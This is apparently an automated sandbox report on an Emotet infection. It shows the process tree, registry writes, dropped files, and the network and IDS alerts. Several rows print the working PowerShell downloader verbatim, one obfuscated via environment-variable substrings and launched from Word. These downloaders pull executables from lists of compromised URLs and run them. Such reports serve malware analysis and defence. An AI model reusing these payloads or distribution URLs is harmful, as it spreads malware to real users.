02/Rechnung/Rechnungszahlung/@http://www.emmanuelboos.info/YqLad-p5ij_na-5eF/Ref/9928911859EN_en/New-order/@http://www.ermaproduction.com/wp-content/De/OESANEY3270156/Rech/Hilfestellung/@http://www.fatma-bouchiha-psychologue.fr/zrfMX-P3RD_l-li9/InvoiceCodeChanges/En/Service-Invoice/@http://www.forma-31.ru/De/KVHFNE8175184/Bestellungen/Fakturierung/@http://www.glazastiks.ru/gaLjP-Ra_noqrx-S0i/InvoiceCodeChanges/US_us/Need-to-send-the-attachment/@http://www.grantkulinar.ru/AaLL-70_iFWIrwpBW-nS/EXT/PaymentStatus/En_us/Document-needed/@http://www.hjsanders.nl/rXqy-tOpX_bkl-K1/Invoice/8882088/EN_en/Need-to-send-the-attachment/@http://www.housesittingreference.com/CTcA-8M_kFNRfQBku-dQI/Invoice/8751108/US_us/Open-invoices/@http://www.idgnet.nl/tWcpZ-cp7P_kaA-xA/PaymentStatus/En_us/ACH-form/@http://www.irsoradio.nl/Januar2019/LIHYUQUBW8878022/DE/DOC-Dokument/@http://www.kiber-soft.ru/DE/VEWBTCVBPA7430885/Scan/DOC/@http://www.lexfort.ru/ofarA-OG_h-omH/600387/SurveyQuestionsEN_en/Important-Please-Read/@http://www.ljfpajpdy.cf/dHkb-7q_eQPWxlLr-x2/Ref/2723472224US_us/ACH-form/@http://www.modern-autoparts.com/De_de/XYXMIFU0687605/Rechnung/Rechnungsanschrift/@http://www.nancycheng.nl/ibEhu-5NL_KP-qHJ/ACH/PaymentInfo/US/Sales-Invoice/@http://www.oculista.com.br/DE_de/ZVJPUXM7033441/Bestellungen/RECH/@http://www.ontamada.ru/De_de/PVFOPGUPDT4647941/Rechnungs-docs/FORM/@http://www.panafspace.com/ZXLa-4r_rd-uD5/ACH/PaymentAdvice/En/Service-Invoice/@http://www.pivmag02.ru/de_DE/HXQSLDMEK9381401/Rechnung/FORM/@http://www.polatlimatbaa.com/Januar2019/WCCLVMX7186480/Rechnung/Hilfestellung/@http://www.pro-ind.ru/CAZDROFBFQ1893765/Rechnungs/Rechnungsanschrift/@http://www.pro-ind.ru/yaiQ-6wzWY_vcJn-WdR/Ref/5409569504En/ACH-form/@http://www.pwpami.pl/nfSsn-qp_WtSxvlgb-NYu/PaymentStatus/En/New-order/@http://www.scanliftmaskin.no/paYB-juX36_aNODsId-PqI/Inv/82509032526/US_us/Open-invoices/@http://www.skyrim-gow.fr/MIuE-U3YoH_wTpD-G3/204943/SurveyQuestionsEN_en/Scan/@http://www.southafricanvenousforum.co.za/CPzf-Pg7F_xiOGP-l3n/COMET/SIGNS/PAYMENT/NOTIFICATION01/18/2019/US_us/Paid-Invoice/@http://www.sp11dzm.ru/de_DE/PABSKYA2875086/Rechnung/Fakturierung/@http://www.ubocapacitacion.cl/DUYan-5pTF_yIlYRE-aJ/C832/invoicing/US/Open-Past-Due-Orders/@http://www.universalsmile.org/MCcs-VjO_ZHVDPH-aa/INVOICE/US_us/Need-to-send-the-attachment/@http://www.vincopoker.com/De/EADCMDBLPE7352743/Rechnungskorrektur/Hilfestellung/@http://www.web.pa-cirebon.go.id/KGLp-2zo0_Q-fRg/INVOICE/41749/OVERPAYMENT/US/Overdue-payment/@http://www.wholehealthcrew.com/KGLVPY3262807/Dokumente/Rechnungszahlung/@http://www.windailygh.com/cBeX-jJ_YnmrS-xFi/Invoice/910581862/En_us/Past-Due-Invoices/@http://www.wins-power.com/iixF-OV_kqV-NK/INV/00968FORPO/134610688014/En_us/Outstanding-Invoices/@http://www.xn--d1albnc.xn--p1ai/De_de/OYAOFAFYXM7852452/GER/Fakturierung/@http://www.zsz-spb.ru/DE_de/VAGXPIM7136774/GER/FORM/@http://xn--k1afw.net/IpiUS-0O_rq-vgp/ACH/PaymentAdvice/En_us/Invoice-Corrections-for-81/84/@http://yaheedudy.cf/IGPtT-Vms4_cygsPeZm-Dco/invoices/17130/8920/En_us/Outstanding-Invoices/@http://ycykudy.cf/AaZd-zYaEm_kQTf-3c/PaymentStatus/US/Invoices-attached/@http://yserechdy.cf/DlDwk-QmkXa_ZKVbmNQtt-4Z/COMET/SIGNS/PAYMENT/NOTIFICATION/01/18/2019/US_us/Inv-272991-PO-4O608402/@http://ytteedy.cf/eJEYv-hi_iJkUfGV-rs/COMET/SIGNS/PAYMENT/NOTIFICATION/01/18/2019/US/ACH-form/@http://yxcsdy.cf/eOFLP-USnc_dXBralDX-9X/QC85/invoicing/En/Invoice-for-you/@http://zamena-schetchikov.novosibirsk.ru/mODgV-bcF_tFaky-kOB/COMET/SIGNS/PAYMENT/NOTIFICATION/01/18/2019/US/Invoice/@https://cardealersforbadcredit.net/zlvkejwe/VLIbZ-0f_DVVLdjUsy-3dA/ACH/PaymentInfo/US_us/Invoice-for-n/n-01/18/2019/@https://www.gtp.usgtf.com/KgPmS-hyFZE_nfegQoji-wv/En/Open-Past-Due-Orders/'.Split('@');$CqT = 'Emotet_';$DzL=$env:public+'\'+$CqT;$i=0;foreach($RkS in $oqn){$i++;try{$D=$DzL+$i+'.exe'; $Zwi.DownloadFile($RkS,$D)}catch{}} | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1720 | "C:\Program Files\Notepad++\notepad++.exe" "C:\Users\Public\Emotet_21.exe" | C:\Program Files\Notepad++\notepad++.exe | explorer.exe | ||||||||||||
User: admin Company: Don HO don.h@free.fr Integrity Level: MEDIUM Description: Notepad++ : a free (GNU) source code editor Exit code: 0 Version: 7.51 Modules
| |||||||||||||||
| 2416 | "C:\Program Files\Notepad++\updater\gup.exe" -v7.51 | C:\Program Files\Notepad++\updater\gup.exe | notepad++.exe | ||||||||||||
User: admin Company: Don HO don.h@free.fr Integrity Level: MEDIUM Description: GUP : a free (LGPL) Generic Updater Exit code: 0 Version: 4.1 Modules
| |||||||||||||||
| 2456 | powershell $v6897='d2147';$i9603=new-object Net.WebClient;$q7048='http://www.vincopoker.com/dWSx5bwE@http://shantiniketangranthalay.technoexam.com/fsdVowy@http://www.bh-mehregan.org/pHdS2az@http://www.kheiriehsalehin.com/wp-includes/ZBYLzi6s@http://prakritikkrishi.org/rGQkmu8i'.Split('@');$c2160='j2511';$w763 = '351';$n2924='m250';$u7573=$env:temp+'\'+$w763+'.exe';foreach($w7621 in $q7048){try{$i9603.DownloadFile($w7621, $u7573);$r2555='f6103';If ((Get-Item $u7573).length -ge 40000) {Invoke-Item $u7573;$n6474='v2629';break;}}catch{}}$q850='j1986'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3224 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Public\1.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3228 | cmd /c ""C:\Users\admin\Desktop\emotet_urls.bat" " | C:\Windows\system32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3984 | "C:\Windows\System32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $v6897='d2147';$i9603=new-object Net.WebClient;$q7048='http://www.vincopoker.com/dWSx5bwE@http://shantiniketangranthalay.technoexam.com/fsdVowy@http://www.bh-mehregan.org/pHdS2az@http://www.kheiriehsalehin.com/wp-includes/ZBYLzi6s@http://prakritikkrishi.org/rGQkmu8i'.Split('@');$c2160='j2511';$w763 = '351';$n2924='m250';$u7573=$env:temp+'\'+$w763+'.exe';foreach($w7621 in $q7048){try{$i9603.DownloadFile($w7621, $u7573);$r2555='f6103';If ((Get-Item $u7573).length -ge 40000) {Invoke-Item $u7573;$n6474='v2629';break;}}catch{}}$q850='j1986'; | C:\Windows\System32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 4044 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 594
Read events
1 114
Write events
473
Delete events
7
Modification events
| (PID) Process: | (1104) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (1104) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1104) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1104) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1104) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1104) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (1104) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (1104) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1104) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1104) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
Executable files
0
Suspicious files
4
Text files
14
Unknown types
4
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1104 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WVW9HO6XWS3GVJ1REVKO.temp | — | |
MD5:— | SHA256:— | |||
| 3224 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRC0FF.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3224 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\77FEA94C.jpg | — | |
MD5:— | SHA256:— | |||
| 2456 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JSDGNQJYDX1GYBHOUWIK.temp | — | |
MD5:— | SHA256:— | |||
| 1104 | powershell.exe | C:\Users\Public\Emotet_13.exe | xml | |
MD5:— | SHA256:— | |||
| 1104 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF20e68b.TMP | binary | |
MD5:— | SHA256:— | |||
| 1104 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 1104 | powershell.exe | C:\Users\Public\Emotet_21.exe | xml | |
MD5:— | SHA256:— | |||
| 1104 | powershell.exe | C:\Users\Public\Emotet_11.exe | xml | |
MD5:— | SHA256:— | |||
| 1104 | powershell.exe | C:\Users\Public\Emotet_19.exe | xml | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
32
TCP/UDP connections
32
DNS requests
32
Threats
7
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1104 | powershell.exe | GET | 403 | 79.175.164.27:80 | http://aeco.ir/Clients/012019/ | IR | html | 1016 b | suspicious |
1104 | powershell.exe | GET | 404 | 52.79.91.251:80 | http://aimypie.com/AMAZON/DE/Zahlungsdetails/012019/ | KR | html | 53.8 Kb | malicious |
1104 | powershell.exe | GET | 403 | 195.248.240.16:80 | http://amitisazma.com/wp-includes/Transactions/2019-01/ | unknown | html | 1.11 Kb | unknown |
1104 | powershell.exe | GET | 404 | 5.61.254.233:80 | http://airmanship.nl/Amazon/DE/Zahlungsdetails/01_19/ | NL | html | 349 b | malicious |
1104 | powershell.exe | GET | 404 | 54.36.222.166:80 | http://allo-prono.fr/Amazon/Kunden-transaktion/012019/ | FR | html | 231 b | suspicious |
1104 | powershell.exe | GET | 200 | 195.74.38.97:80 | http://blogg.postvaxel.se/Amazon/Dokumente/01_19/ | SE | xml | 189 Kb | malicious |
1104 | powershell.exe | GET | 403 | 82.150.140.169:80 | http://cms.berichtvoorjou.nl/Amazon/Bestelldetails/2019-01/ | NL | html | 1.00 Kb | unknown |
1104 | powershell.exe | GET | 200 | 35.183.211.88:80 | http://aztel.ca/wp-content/plugins/Amazon/Zahlungen/2019-01/ | CA | xml | 190 Kb | malicious |
1104 | powershell.exe | GET | 403 | 178.210.92.160:80 | http://biometricsystems.ru/Amazon/DE/Kunden-transaktion/01_19/ | RU | html | 1.82 Kb | suspicious |
1104 | powershell.exe | GET | 404 | 87.98.154.146:80 | http://como-consulting.be/Information/012019/ | FR | html | 217 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1104 | powershell.exe | 79.175.164.27:80 | aeco.ir | Afranet | IR | suspicious |
1104 | powershell.exe | 52.79.91.251:80 | aimypie.com | Amazon.com, Inc. | KR | suspicious |
1104 | powershell.exe | 138.128.174.194:80 | arneck-rescue.com | HostDime.com, Inc. | US | unknown |
1104 | powershell.exe | 35.183.211.88:80 | aztel.ca | Amazon.com, Inc. | CA | malicious |
1104 | powershell.exe | 178.210.92.160:80 | biometricsystems.ru | Autonomous Non-commercial Organization Regional Network Information Center | RU | malicious |
1104 | powershell.exe | 87.236.19.193:80 | atkcgnew.evgeni7e.beget.tech | Beget Ltd | RU | malicious |
1104 | powershell.exe | 46.105.57.169:80 | appsproplus.fr | OVH SAS | FR | malicious |
1104 | powershell.exe | 195.248.240.16:80 | amitisazma.com | — | — | unknown |
1104 | powershell.exe | 94.73.146.147:80 | ar.caginerhastanesi.com.tr | Cizgi Telekomunikasyon Anonim Sirketi | TR | malicious |
1104 | powershell.exe | 104.223.95.197:80 | cbsr.com.pk | QuadraNet, Inc | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
aeco.ir |
| suspicious |
aimypie.com |
| malicious |
airmanship.nl |
| malicious |
alfemimoda.com |
| malicious |
allo-prono.fr |
| suspicious |
amitisazma.com |
| unknown |
appsproplus.fr |
| malicious |
ar.caginerhastanesi.com.tr |
| malicious |
arneck-rescue.com |
| unknown |
atkcgnew.evgeni7e.beget.tech |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1104 | powershell.exe | Misc activity | SUSPICIOUS [PTsecurity] AntiDDOS script attempt (malware hosting protection) |
1104 | powershell.exe | A Network Trojan was detected | ET TROJAN Possible malicious Office doc hidden in XML file |
1104 | powershell.exe | A Network Trojan was detected | ET TROJAN Possible malicious Office doc hidden in XML file |
1052 | svchost.exe | Potentially Bad Traffic | ET INFO DNS Query for Suspicious .gq Domain |
1104 | powershell.exe | A Network Trojan was detected | ET TROJAN Possible malicious Office doc hidden in XML file |
1104 | powershell.exe | A Network Trojan was detected | ET TROJAN Possible malicious Office doc hidden in XML file |
1 ETPRO signatures available at the full report
Process | Message |
|---|---|
notepad++.exe | VerifyLibrary: C:\Program Files\Notepad++\SciLexer.dll
|
notepad++.exe | VerifyLibrary: certificate revocation checking is disabled
|
notepad++.exe | 42C4C5846BB675C74E2B2C90C69AB44366401093
|